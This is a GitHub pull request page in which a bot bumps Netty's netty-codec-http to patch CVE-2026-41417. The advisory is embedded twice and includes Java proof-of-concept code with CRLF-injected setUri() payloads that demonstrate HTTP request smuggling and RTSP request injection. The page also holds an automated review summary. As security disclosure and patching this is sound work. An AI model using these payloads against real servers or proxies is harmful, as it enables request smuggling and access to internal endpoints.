Skip to content

fix(deps): update dependency io.netty:netty-codec-http to v4.1.133.final [security]#234

Merged
magisk317 merged 1 commit into
betafrom
renovate/maven-io.netty-netty-codec-http-vulnerability
May 6, 2026
Merged

fix(deps): update dependency io.netty:netty-codec-http to v4.1.133.final [security]#234
magisk317 merged 1 commit into
betafrom
renovate/maven-io.netty-netty-codec-http-vulnerability

Conversation

@magisk317
Copy link
Copy Markdown
Owner

@magisk317 magisk317 commented May 6, 2026

This PR contains the following updates:

Package Change Age Confidence
io.netty:netty-codec-http (source) 4.1.132.Final4.1.133.Final age confidence

Netty: Start-Line Injection in DefaultHttpRequest.setUri() Allows HTTP Request Smuggling and RTSP Request Injection

CVE-2026-41417 / GHSA-v8h7-rr48-vmmv

More information

Details

Summary

Netty allows request-line validation to be bypassed when a DefaultHttpRequest or DefaultFullHttpRequest is created first and its URI is later changed via setUri().

The constructors reject CRLF and whitespace characters that would break the start-line, but setUri() does not apply the same validation. HttpRequestEncoder and RtspEncoder then write the URI into the request line verbatim. If attacker-controlled input reaches setUri(), this enables CRLF injection and insertion of additional HTTP or RTSP requests.

In practice, this leads to HTTP request smuggling / desynchronization on the HTTP side and request injection on the RTSP side.

Details

The root issue is that URI validation exists only on the constructor path, but not on the public setter path.

  • io.netty.handler.codec.http.DefaultHttpRequest
    • The constructor calls HttpUtil.validateRequestLineTokens(method, uri)
    • setUri(String uri) only performs checkNotNull and does not validate
  • io.netty.handler.codec.http.DefaultFullHttpRequest
    • setUri(String uri) delegates to the parent implementation
  • io.netty.handler.codec.http.HttpRequestEncoder
    • Writes request.uri() directly into the request line
  • io.netty.handler.codec.rtsp.RtspEncoder
    • Writes request.uri() directly into the request line

This creates the following bypass:

  1. An application creates a DefaultHttpRequest or DefaultFullHttpRequest with a safe URI
  2. Later, attacker-influenced input is passed into setUri()
  3. HttpRequestEncoder or RtspEncoder encodes that value verbatim
  4. The downstream server, proxy, or RTSP peer interprets the injected bytes after CRLF as separate requests

This appears to be an incomplete fix pattern where start-line validation exists, but can still be bypassed through a mutable public API.

PoC (HTTP)

The following code first creates a normal request object and then injects a malicious request line using setUri().

import io.netty.buffer.ByteBuf;
import io.netty.channel.embedded.EmbeddedChannel;
import io.netty.handler.codec.http.DefaultHttpRequest;
import io.netty.handler.codec.http.HttpMethod;
import io.netty.handler.codec.http.HttpRequestEncoder;
import io.netty.handler.codec.http.HttpServerCodec;
import io.netty.handler.codec.http.HttpVersion;
import io.netty.util.CharsetUtil;

public final class HttpSetUriSmugglePoc {
    public static void main(String[] args) {
        EmbeddedChannel client = new EmbeddedChannel(new HttpRequestEncoder());
        EmbeddedChannel server = new EmbeddedChannel(new HttpServerCodec());

        DefaultHttpRequest request = new DefaultHttpRequest(
                HttpVersion.HTTP_1_1, HttpMethod.GET, "/safe");

        request.setUri("/s1 HTTP/1.1\r\n" +
                "\r\n" +
                "POST /s2 HTTP/1.1\r\n" +
                "content-length: 11\r\n\r\n" +
                "Hello World" +
                "GET /s1");

        client.writeOutbound(request);
        ByteBuf outbound = client.readOutbound();

        System.out.println("=== Raw encoded request ===");
        System.out.println(outbound.toString(CharsetUtil.US_ASCII));

        System.out.println("=== Decoded by HttpServerCodec ===");
        server.writeInbound(outbound.retainedDuplicate());

        Object msg;
        while ((msg = server.readInbound()) != null) {
            System.out.println(msg);
        }

        outbound.release();
        client.finishAndReleaseAll();
        server.finishAndReleaseAll();
    }
}

When reproduced, the raw encoded request looks like this:

GET /s1 HTTP/1.1

POST /s2 HTTP/1.1
content-length: 11

Hello WorldGET /s1 HTTP/1.1

HttpServerCodec then parses this as multiple HTTP messages rather than a single request:

  • GET /s1
  • POST /s2 with body Hello World
  • trailing GET /s1

This confirms that the value supplied through setUri() is interpreted on the wire as additional requests.

PoC (RTSP)

The same root cause also affects RtspEncoder. A minimal reproduction is shown below.

import io.netty.buffer.ByteBuf;
import io.netty.channel.embedded.EmbeddedChannel;
import io.netty.handler.codec.http.DefaultHttpRequest;
import io.netty.handler.codec.rtsp.RtspDecoder;
import io.netty.handler.codec.rtsp.RtspEncoder;
import io.netty.handler.codec.rtsp.RtspMethods;
import io.netty.handler.codec.rtsp.RtspVersions;
import io.netty.util.CharsetUtil;

public final class RtspSetUriSmugglePoc {
    public static void main(String[] args) {
        EmbeddedChannel client = new EmbeddedChannel(new RtspEncoder());
        EmbeddedChannel server = new EmbeddedChannel(new RtspDecoder());

        DefaultHttpRequest request = new DefaultHttpRequest(
                RtspVersions.RTSP_1_0, RtspMethods.OPTIONS, "rtsp://safe/media");

        request.setUri("rtsp://cam/stream RTSP/1.0\r\n" +
                "CSeq: 1\r\n\r\n" +
                "DESCRIBE rtsp://cam/secret RTSP/1.0\r\n" +
                "CSeq: 2\r\n\r\n" +
                "OPTIONS rtsp://cam/final");

        client.writeOutbound(request);
        ByteBuf outbound = client.readOutbound();

        System.out.println("=== Raw encoded RTSP request ===");
        System.out.println(outbound.toString(CharsetUtil.US_ASCII));

        System.out.println("=== Decoded by RtspDecoder ===");
        server.writeInbound(outbound.retainedDuplicate());
    }
}

When reproduced, RtspEncoder generates consecutive RTSP requests in a single encoded payload:

OPTIONS rtsp://cam/stream RTSP/1.0
CSeq: 1

DESCRIBE rtsp://cam/secret RTSP/1.0
CSeq: 2

OPTIONS rtsp://cam/final RTSP/1.0

RtspDecoder then parses this as three separate RTSP requests:

  • OPTIONS rtsp://cam/stream
  • DESCRIBE rtsp://cam/secret
  • OPTIONS rtsp://cam/final

This confirms that the same setter bypass is exploitable for RTSP request injection as well.

Impact

The vulnerable conditions are:

  • The application uses DefaultHttpRequest or DefaultFullHttpRequest
  • The request object is created first and later modified through setUri()
  • The value passed into setUri() is attacker-controlled or attacker-influenced
  • The object is eventually serialized by HttpRequestEncoder or RtspEncoder

Under those conditions, an attacker may be able to:

  • perform HTTP request smuggling
  • trigger proxy/backend desynchronization
  • inject additional requests toward internal APIs
  • confuse request boundaries and bypass assumptions around authentication or routing
  • inject RTSP requests

The exact impact depends on how the application constructs URIs and how the upstream/downstream HTTP or RTSP components parse request boundaries, but the security impact is real and reproducible.

Root Cause

Validation is enforced only at object construction time, but not on the public mutation API that can break the same security invariant.

As a result, the constructors are safe while the public setUri() path is not, and the encoders trust and serialize the mutated value without revalidation.

Suggested Fix Direction

DefaultHttpRequest.setUri() and all delegating/inheriting paths should apply the same request-line token validation as the constructors.

Recommended regression coverage:

  • verify that setUri() rejects CRLF-containing input after object construction
  • verify that DefaultFullHttpRequest.setUri() is blocked as well
  • verify that spaces, \r, \n, and request-smuggling payloads are rejected
  • verify that both HttpRequestEncoder and RtspEncoder are protected from setter-based bypasses
Affected Area
  • netty-codec-http
  • io.netty.handler.codec.http.DefaultHttpRequest
  • io.netty.handler.codec.http.DefaultFullHttpRequest
  • io.netty.handler.codec.http.HttpRequestEncoder
  • io.netty.handler.codec.rtsp.RtspEncoder

Severity

  • CVSS Score: 5.3 / 10 (Medium)
  • Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).


Netty: Start-Line Injection in DefaultHttpRequest.setUri() Allows HTTP Request Smuggling and RTSP Request Injection

CVE-2026-41417 / GHSA-v8h7-rr48-vmmv

More information

Details

Summary

Netty allows request-line validation to be bypassed when a DefaultHttpRequest or DefaultFullHttpRequest is created first and its URI is later changed via setUri().

The constructors reject CRLF and whitespace characters that would break the start-line, but setUri() does not apply the same validation. HttpRequestEncoder and RtspEncoder then write the URI into the request line verbatim. If attacker-controlled input reaches setUri(), this enables CRLF injection and insertion of additional HTTP or RTSP requests.

In practice, this leads to HTTP request smuggling / desynchronization on the HTTP side and request injection on the RTSP side.

Details

The root issue is that URI validation exists only on the constructor path, but not on the public setter path.

  • io.netty.handler.codec.http.DefaultHttpRequest
    • The constructor calls HttpUtil.validateRequestLineTokens(method, uri)
    • setUri(String uri) only performs checkNotNull and does not validate
  • io.netty.handler.codec.http.DefaultFullHttpRequest
    • setUri(String uri) delegates to the parent implementation
  • io.netty.handler.codec.http.HttpRequestEncoder
    • Writes request.uri() directly into the request line
  • io.netty.handler.codec.rtsp.RtspEncoder
    • Writes request.uri() directly into the request line

This creates the following bypass:

  1. An application creates a DefaultHttpRequest or DefaultFullHttpRequest with a safe URI
  2. Later, attacker-influenced input is passed into setUri()
  3. HttpRequestEncoder or RtspEncoder encodes that value verbatim
  4. The downstream server, proxy, or RTSP peer interprets the injected bytes after CRLF as separate requests

This appears to be an incomplete fix pattern where start-line validation exists, but can still be bypassed through a mutable public API.

PoC (HTTP)

The following code first creates a normal request object and then injects a malicious request line using setUri().

import io.netty.buffer.ByteBuf;
import io.netty.channel.embedded.EmbeddedChannel;
import io.netty.handler.codec.http.DefaultHttpRequest;
import io.netty.handler.codec.http.HttpMethod;
import io.netty.handler.codec.http.HttpRequestEncoder;
import io.netty.handler.codec.http.HttpServerCodec;
import io.netty.handler.codec.http.HttpVersion;
import io.netty.util.CharsetUtil;

public final class HttpSetUriSmugglePoc {
    public static void main(String[] args) {
        EmbeddedChannel client = new EmbeddedChannel(new HttpRequestEncoder());
        EmbeddedChannel server = new EmbeddedChannel(new HttpServerCodec());

        DefaultHttpRequest request = new DefaultHttpRequest(
                HttpVersion.HTTP_1_1, HttpMethod.GET, "/safe");

        request.setUri("/s1 HTTP/1.1\r\n" +
                "\r\n" +
                "POST /s2 HTTP/1.1\r\n" +
                "content-length: 11\r\n\r\n" +
                "Hello World" +
                "GET /s1");

        client.writeOutbound(request);
        ByteBuf outbound = client.readOutbound();

        System.out.println("=== Raw encoded request ===");
        System.out.println(outbound.toString(CharsetUtil.US_ASCII));

        System.out.println("=== Decoded by HttpServerCodec ===");
        server.writeInbound(outbound.retainedDuplicate());

        Object msg;
        while ((msg = server.readInbound()) != null) {
            System.out.println(msg);
        }

        outbound.release();
        client.finishAndReleaseAll();
        server.finishAndReleaseAll();
    }
}

When reproduced, the raw encoded request looks like this:

GET /s1 HTTP/1.1

POST /s2 HTTP/1.1
content-length: 11

Hello WorldGET /s1 HTTP/1.1

HttpServerCodec then parses this as multiple HTTP messages rather than a single request:

  • GET /s1
  • POST /s2 with body Hello World
  • trailing GET /s1

This confirms that the value supplied through setUri() is interpreted on the wire as additional requests.

PoC (RTSP)

The same root cause also affects RtspEncoder. A minimal reproduction is shown below.

import io.netty.buffer.ByteBuf;
import io.netty.channel.embedded.EmbeddedChannel;
import io.netty.handler.codec.http.DefaultHttpRequest;
import io.netty.handler.codec.rtsp.RtspDecoder;
import io.netty.handler.codec.rtsp.RtspEncoder;
import io.netty.handler.codec.rtsp.RtspMethods;
import io.netty.handler.codec.rtsp.RtspVersions;
import io.netty.util.CharsetUtil;

public final class RtspSetUriSmugglePoc {
    public static void main(String[] args) {
        EmbeddedChannel client = new EmbeddedChannel(new RtspEncoder());
        EmbeddedChannel server = new EmbeddedChannel(new RtspDecoder());

        DefaultHttpRequest request = new DefaultHttpRequest(
                RtspVersions.RTSP_1_0, RtspMethods.OPTIONS, "rtsp://safe/media");

        request.setUri("rtsp://cam/stream RTSP/1.0\r\n" +
                "CSeq: 1\r\n\r\n" +
                "DESCRIBE rtsp://cam/secret RTSP/1.0\r\n" +
                "CSeq: 2\r\n\r\n" +
                "OPTIONS rtsp://cam/final");

        client.writeOutbound(request);
        ByteBuf outbound = client.readOutbound();

        System.out.println("=== Raw encoded RTSP request ===");
        System.out.println(outbound.toString(CharsetUtil.US_ASCII));

        System.out.println("=== Decoded by RtspDecoder ===");
        server.writeInbound(outbound.retainedDuplicate());
    }
}

When reproduced, RtspEncoder generates consecutive RTSP requests in a single encoded payload:

OPTIONS rtsp://cam/stream RTSP/1.0
CSeq: 1

DESCRIBE rtsp://cam/secret RTSP/1.0
CSeq: 2

OPTIONS rtsp://cam/final RTSP/1.0

RtspDecoder then parses this as three separate RTSP requests:

  • OPTIONS rtsp://cam/stream
  • DESCRIBE rtsp://cam/secret
  • OPTIONS rtsp://cam/final

This confirms that the same setter bypass is exploitable for RTSP request injection as well.

Impact

The vulnerable conditions are:

  • The application uses DefaultHttpRequest or DefaultFullHttpRequest
  • The request object is created first and later modified through setUri()
  • The value passed into setUri() is attacker-controlled or attacker-influenced
  • The object is eventually serialized by HttpRequestEncoder or RtspEncoder

Under those conditions, an attacker may be able to:

  • perform HTTP request smuggling
  • trigger proxy/backend desynchronization
  • inject additional requests toward internal APIs
  • confuse request boundaries and bypass assumptions around authentication or routing
  • inject RTSP requests

The exact impact depends on how the application constructs URIs and how the upstream/downstream HTTP or RTSP components parse request boundaries, but the security impact is real and reproducible.

Root Cause

Validation is enforced only at object construction time, but not on the public mutation API that can break the same security invariant.

As a result, the constructors are safe while the public setUri() path is not, and the encoders trust and serialize the mutated value without revalidation.

Suggested Fix Direction

DefaultHttpRequest.setUri() and all delegating/inheriting paths should apply the same request-line token validation as the constructors.

Recommended regression coverage:

  • verify that setUri() rejects CRLF-containing input after object construction
  • verify that DefaultFullHttpRequest.setUri() is blocked as well
  • verify that spaces, \r, \n, and request-smuggling payloads are rejected
  • verify that both HttpRequestEncoder and RtspEncoder are protected from setter-based bypasses
Affected Area
  • netty-codec-http
  • io.netty.handler.codec.http.DefaultHttpRequest
  • io.netty.handler.codec.http.DefaultFullHttpRequest
  • io.netty.handler.codec.http.HttpRequestEncoder
  • io.netty.handler.codec.rtsp.RtspEncoder

Severity

  • CVSS Score: 5.3 / 10 (Medium)
  • Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N

References

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).


Configuration

📅 Schedule: (UTC)

  • Branch creation
    • ""
  • Automerge
    • At any time (no schedule defined)

🚦 Automerge: Enabled.

Rebasing: Whenever PR is behind base branch, or you tick the rebase/retry checkbox.

🔕 Ignore: Close this PR and you won't be reminded about this update again.


  • If you want to rebase/retry this PR, check this box

This PR has been generated by Mend Renovate.

Summary by Sourcery

Build:

  • 在 Gradle 的强制依赖解析中,将 io.netty:netty-codec-http4.1.132.Final 升级到 4.1.133.Final
Original summary in English

Summary by Sourcery

Build:

  • Bump io.netty:netty-codec-http from 4.1.132.Final to 4.1.133.Final in Gradle forced dependency resolution.

@magisk317 magisk317 added dependencies Pull requests that update a dependency file java Pull requests that update java code security labels May 6, 2026
@magisk317 magisk317 merged commit cc23fd0 into beta May 6, 2026
3 of 4 checks passed
@magisk317 magisk317 deleted the renovate/maven-io.netty-netty-codec-http-vulnerability branch May 6, 2026 03:35
@sourcery-ai
Copy link
Copy Markdown

sourcery-ai Bot commented May 6, 2026

评审者指南(在小型 PR 上折叠)

评审者指南

在 Gradle 构建配置中将强制依赖 io.netty:netty-codec-http 的版本更新为 4.1.133.Final,以获取与 DefaultHttpRequest.setUri() 相关的 HTTP/RTSP 请求走私(CVE-2026-41417)安全修复。

依赖更新前后 Netty 处理 HTTP 请求的时序图

sequenceDiagram
    participant ClientCode
    participant DefaultHttpRequest
    participant HttpUtil
    participant HttpRequestEncoder
    participant DownstreamServer

    rect rgb(255,230,230)
        note over ClientCode,DownstreamServer: Vulnerable_version netty_codec_http 4_1_132_Final
        ClientCode->>DefaultHttpRequest: new DefaultHttpRequest(method, safeUri)
        DefaultHttpRequest->>HttpUtil: validateRequestLineTokens(method, safeUri)
        HttpUtil-->>DefaultHttpRequest: OK
        ClientCode->>DefaultHttpRequest: setUri(attackerControlledUriWithCRLF)
        DefaultHttpRequest-->>ClientCode: uri set without revalidation
        ClientCode->>HttpRequestEncoder: writeOutbound(request)
        HttpRequestEncoder-->>DownstreamServer: encoded_request_with_smuggled_start_lines
        DownstreamServer-->>DownstreamServer: parses_multiple_requests
    end

    rect rgb(230,255,230)
        note over ClientCode,DownstreamServer: Patched_version netty_codec_http 4_1_133_Final
        ClientCode->>DefaultHttpRequest: new DefaultHttpRequest(method, safeUri)
        DefaultHttpRequest->>HttpUtil: validateRequestLineTokens(method, safeUri)
        HttpUtil-->>DefaultHttpRequest: OK
        ClientCode->>DefaultHttpRequest: setUri(attackerControlledUriWithCRLF)
        DefaultHttpRequest->>HttpUtil: validateRequestLineTokens(method, newUri)
        HttpUtil-->>DefaultHttpRequest: reject_invalid_uri
        DefaultHttpRequest-->>ClientCode: throws_exception_or_error
        ClientCode--X HttpRequestEncoder: request_not_encoded
        DownstreamServer-->>DownstreamServer: no_request_smuggling
    end
Loading

文件级变更

变更 详情 文件
在 Gradle 的 resolution strategy 中将 Netty HTTP codec 依赖提升到 4.1.133.Final,以解决安全公告。
  • 在顶层 buildscript 的 resolutionStrategy 中,将强制依赖的 io.netty:netty-codec-http 版本从 4.1.132.Final 更新为 4.1.133.Final
  • 在各个子项目的依赖 resolutionStrategy 中,将强制依赖的 io.netty:netty-codec-http 版本从 4.1.132.Final 更新为 4.1.133.Final
build.gradle.kts

可能关联的问题

  • #Dependency Dashboard:Dashboard issue 中关于 Netty HTTP codec 的安全更新与本 PR 的版本提升完全对应。

提示与命令

与 Sourcery 交互

  • 触发新的评审: 在 pull request 中评论 @sourcery-ai review
  • 继续讨论: 直接回复 Sourcery 的评审评论。
  • 从评审评论生成 GitHub issue: 回复某条评审评论,请求 Sourcery 从该评论创建一个 issue。你也可以回复该评审评论并添加 @sourcery-ai issue 来从中创建 issue。
  • 生成 pull request 标题: 在 pull request 标题的任意位置写入 @sourcery-ai,即可随时生成标题。你也可以在 pull request 中评论 @sourcery-ai title 来(重新)生成标题。
  • 生成 pull request 概要: 在 pull request 描述正文中任意位置写入 @sourcery-ai summary,即可在指定位置生成 PR 概要。你也可以在 pull request 中评论 @sourcery-ai summary 来随时(重新)生成概要。
  • 生成评审者指南: 在 pull request 中评论 @sourcery-ai guide,即可随时(重新)生成评审者指南。
  • 一次性解决所有 Sourcery 评论: 在 pull request 中评论 @sourcery-ai resolve,即可将所有 Sourcery 评论标记为已解决。如果你已经处理完所有评论且不想再看到它们,这会很有用。
  • 一次性忽略所有 Sourcery 评审: 在 pull request 中评论 @sourcery-ai dismiss,即可忽略所有已有的 Sourcery 评审。如果你想从头开始一次新的评审,这尤其有用——别忘了再评论 @sourcery-ai review 来触发新的评审!

自定义你的使用体验

访问你的 dashboard 以:

  • 启用或停用评审功能,例如 Sourcery 生成的 pull request 概要、评审者指南等。
  • 更改评审语言。
  • 添加、移除或编辑自定义评审说明。
  • 调整其他评审相关设置。

获取帮助

Original review guide in English
Reviewer's guide (collapsed on small PRs)

Reviewer's Guide

Updates the forced io.netty:netty-codec-http dependency version to 4.1.133.Final in Gradle build configuration to pick up a security fix (CVE-2026-41417) related to HTTP/RTSP request smuggling via DefaultHttpRequest.setUri().

Sequence diagram for Netty HTTP request handling before and after dependency update

sequenceDiagram
    participant ClientCode
    participant DefaultHttpRequest
    participant HttpUtil
    participant HttpRequestEncoder
    participant DownstreamServer

    rect rgb(255,230,230)
        note over ClientCode,DownstreamServer: Vulnerable_version netty_codec_http 4_1_132_Final
        ClientCode->>DefaultHttpRequest: new DefaultHttpRequest(method, safeUri)
        DefaultHttpRequest->>HttpUtil: validateRequestLineTokens(method, safeUri)
        HttpUtil-->>DefaultHttpRequest: OK
        ClientCode->>DefaultHttpRequest: setUri(attackerControlledUriWithCRLF)
        DefaultHttpRequest-->>ClientCode: uri set without revalidation
        ClientCode->>HttpRequestEncoder: writeOutbound(request)
        HttpRequestEncoder-->>DownstreamServer: encoded_request_with_smuggled_start_lines
        DownstreamServer-->>DownstreamServer: parses_multiple_requests
    end

    rect rgb(230,255,230)
        note over ClientCode,DownstreamServer: Patched_version netty_codec_http 4_1_133_Final
        ClientCode->>DefaultHttpRequest: new DefaultHttpRequest(method, safeUri)
        DefaultHttpRequest->>HttpUtil: validateRequestLineTokens(method, safeUri)
        HttpUtil-->>DefaultHttpRequest: OK
        ClientCode->>DefaultHttpRequest: setUri(attackerControlledUriWithCRLF)
        DefaultHttpRequest->>HttpUtil: validateRequestLineTokens(method, newUri)
        HttpUtil-->>DefaultHttpRequest: reject_invalid_uri
        DefaultHttpRequest-->>ClientCode: throws_exception_or_error
        ClientCode--X HttpRequestEncoder: request_not_encoded
        DownstreamServer-->>DownstreamServer: no_request_smuggling
    end
Loading

File-Level Changes

Change Details Files
Bump Netty HTTP codec dependency to 4.1.133.Final in Gradle resolution strategy to address a security advisory.
  • Update forced io.netty:netty-codec-http version from 4.1.132.Final to 4.1.133.Final in the top-level buildscript resolutionStrategy.
  • Update forced io.netty:netty-codec-http version from 4.1.132.Final to 4.1.133.Final in subprojects' dependency resolutionStrategy.
build.gradle.kts

Possibly linked issues

  • #Dependency Dashboard: The dashboard issue’s open Netty HTTP codec security update corresponds exactly to this PR’s version bump.

Tips and commands

Interacting with Sourcery

  • Trigger a new review: Comment @sourcery-ai review on the pull request.
  • Continue discussions: Reply directly to Sourcery's review comments.
  • Generate a GitHub issue from a review comment: Ask Sourcery to create an
    issue from a review comment by replying to it. You can also reply to a
    review comment with @sourcery-ai issue to create an issue from it.
  • Generate a pull request title: Write @sourcery-ai anywhere in the pull
    request title to generate a title at any time. You can also comment
    @sourcery-ai title on the pull request to (re-)generate the title at any time.
  • Generate a pull request summary: Write @sourcery-ai summary anywhere in
    the pull request body to generate a PR summary at any time exactly where you
    want it. You can also comment @sourcery-ai summary on the pull request to
    (re-)generate the summary at any time.
  • Generate reviewer's guide: Comment @sourcery-ai guide on the pull
    request to (re-)generate the reviewer's guide at any time.
  • Resolve all Sourcery comments: Comment @sourcery-ai resolve on the
    pull request to resolve all Sourcery comments. Useful if you've already
    addressed all the comments and don't want to see them anymore.
  • Dismiss all Sourcery reviews: Comment @sourcery-ai dismiss on the pull
    request to dismiss all existing Sourcery reviews. Especially useful if you
    want to start fresh with a new review - don't forget to comment
    @sourcery-ai review to trigger a new review!

Customizing Your Experience

Access your dashboard to:

  • Enable or disable review features such as the Sourcery-generated pull request
    summary, the reviewer's guide, and others.
  • Change the review language.
  • Add, remove or edit custom review instructions.
  • Adjust other review settings.

Getting Help

Copy link
Copy Markdown

@sourcery-ai sourcery-ai Bot left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

嘿,我已经审查了你的改动,一切看起来都很棒!


Sourcery 对开源项目是免费的——如果你觉得我们的审查有帮助,请考虑分享 ✨
帮我变得更有用!请对每条评论点 👍 或 👎,我会根据这些反馈来改进你的代码审查。
Original comment in English

Hey - I've reviewed your changes and they look great!


Sourcery is free for open source - if you like our reviews please consider sharing them ✨
Help me be more useful! Please click 👍 or 👎 on each comment and I'll use the feedback to improve your reviews.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

dependencies Pull requests that update a dependency file java Pull requests that update java code security

Projects

None yet

Development

Successfully merging this pull request may close these issues.

1 participant